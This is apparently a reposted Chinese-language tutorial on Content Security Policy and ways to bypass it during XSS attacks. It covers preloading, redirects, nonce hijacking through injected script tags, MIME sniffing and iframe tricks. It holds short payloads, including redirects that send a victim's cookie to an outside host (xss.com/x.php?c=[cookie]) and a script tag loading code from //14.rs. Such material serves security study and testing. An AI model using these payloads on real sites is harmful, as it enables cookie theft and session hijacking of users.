1. 程式人生 > 其它 >XSS--CSP安全策略概述及bypass方法

XSS--CSP安全策略概述及bypass方法

基本概念:

CSP(Content Security Policy)即內容安全策略,為了緩解很大一部分潛在的跨站指令碼問題,瀏覽器的擴充套件程式系統引入了內容安全策略(CSP)的一般概念。這將引入一些相當嚴格的策略,會使擴充套件程式在預設情況下更加安全,開發者可以建立並強制應用一些規則,管理網站允許載入的內容。
CSP的實質就是白名單機制,對網站載入執行的資源進行安全策略的控制。
Content Security Policy (CSP)內容安全策略,是一個附加的安全層,有助於檢測並緩解某些型別的攻擊,包括跨站指令碼(XSS)和資料注入攻擊。
CSP的特點就是它是在瀏覽器層面做的防護,是和同源策略同一級別,除非瀏覽器本身出現漏洞,否則不可能從機制上繞過。
CSP只允許被認可的JS塊、JS檔案、CSS等解析,只允許向指定的域發起請求。

常見繞過方式:

1.利用頁面預載入:

瀏覽器為了增強⽤⼾體驗,讓瀏覽器更有效率,就有⼀個預載入的功能,⼤體是利⽤瀏覽器空閒時間去載入指定的內容,然後快取起來。這個技術⼜細分為DNS-prefetch、subresource、prefetch、preconnect、 prerender。HTML5⻚⾯預載入是⽤link標籤的rel屬性來指定的。如果csp頭有 unsafe-inline,則⽤預載入的⽅式可以向外界發出請求,例如

<!-- 預載入某個⻚⾯ -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 預載入某個圖⽚ -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 預解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定⽂件型別預載入 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

2.利用302重定向:

1.利用url跳轉可以迴避嚴格的CSP
在允許unsafe-inline的情況下,可以用window.location,或者window.open之類的方法進行跳轉繞過。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

2.在 default-src ‘none’ 的情況下,可以使用 meta 標籤實現跳轉

 <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

3.<a> 標籤配合站內的某些可控 JS 點選操作來跳轉

 <script>  $(#foo).click()</script><a id="foo" href="xxxxx.com">

4.利用網站本身的跳轉介面

http://foo.com/jmp.php?url=attack.com

3.利用瀏覽器補全

有些網站限制只有某些指令碼才能使用,往往會使用<script>標籤的nonce屬性,只有nonce一致的指令碼才生效,比如CSP設定成下面這樣:

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那麼當指令碼插入點為如下的情況時

<p>插入點</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

這樣會拼成一個新的script標籤,其中的src可以自由設定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

4.MIME Sniff(利用上傳檔案)

舉例來說,csp禁⽌跨站讀取指令碼,但是可以跨站讀img,那麼傳⼀個 含有指令碼的img,再<script href='http://xxx.com/xx.jpg'>,這⾥csp認為是⼀個img,繞過了檢查,如果⽹站沒有回正確的mime type,瀏覽器會進⾏猜測,就可能作為指令碼載入該img。

5.利用iframe標籤

1.如果頁面A中有CSP限制,但是頁面B中沒有,同時A和B同源,那麼就可以在A頁面中包含B頁面來繞過CSP:

<iframe src="B"></iframe>

2.在Chrome下,iframe標籤支援csp屬性,這有時候可以用來繞過一些防禦,例如http://xxx頁面有個js庫會過濾XSS向量,我們就可以使用csp屬性來禁掉這個js庫。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>